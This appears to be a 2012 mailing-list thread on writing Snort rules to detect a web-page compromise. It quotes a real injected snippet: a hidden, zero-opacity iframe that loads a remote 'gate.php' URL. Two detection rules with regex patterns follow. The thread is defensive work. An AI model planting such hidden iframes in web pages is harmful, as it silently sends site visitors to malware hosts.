Re: Rule thought

[James Lay <jlay () slave-tothe-box net>]

On 2012-08-06 12:27, lists () packetmail net wrote:
> On 08/06/12 13:13, James Lay wrote:
> > All,
> >
> > Recently (today) I ran into the below:
> >
> >
> > <!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div
> > class=pofasdfhg><iframe src=http://analitics3.in/gate.php?f=1003673
> > frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 
> > height=5
> > border=0></iframe></div><!--/qpi-->
> >
> > I've not seen an iframe injection that included a specified class
> > before.  My original draft rule looked like:
> >
> > alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any
> > (msg:"INDICATOR-COMPROMISE div class iframe in page"; file_data;
> > pcre:"/<\/style><div class=[a-z]{9}><iframe src/i";
> > classtype:web-application-attack; sid:10000017; rev:1;)
> >
> > But this looks pretty expensive.  I'm sure there's a better way to
> > match this...would it be something like:
> >
> > content:"</style><div"; pcre:"/class=[a-z]{9}>/"; content:"<iframe
> > src";
> >
> > My question is how do I tell Snort to match all three consecutively? 
> > I
> > get that I could use within, but would that apply to the pcre?  
> > Thanks
> > for any advice.
>
> I think there's more of an abnormality around the unquoted URL in the
> iframe and
> I'm not certain the class will always be 9 characters, but assuming
> it is how about:
>
> alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any
> (msg:"INDICATOR-COMPROMISE
> div tag with class preceding iframe to specific URL"; 
> flow:from_server,
> established; file_data; content:"<div class="; content:"<iframe 
> src=http:";
> fast_pattern; within:30; pcre:"/<div class=[a-z]{9}><iframe
> src=http[^\x3e]+\.php\?[a-z]=\d+\x20/"; classtype:bad-unknown; sid:x; 
> rev:1;)
>
> Just a thought...  Joel will probably want to add /smi ;)


Ah...I totally missed that...go me!  Thank you...this does help.

James

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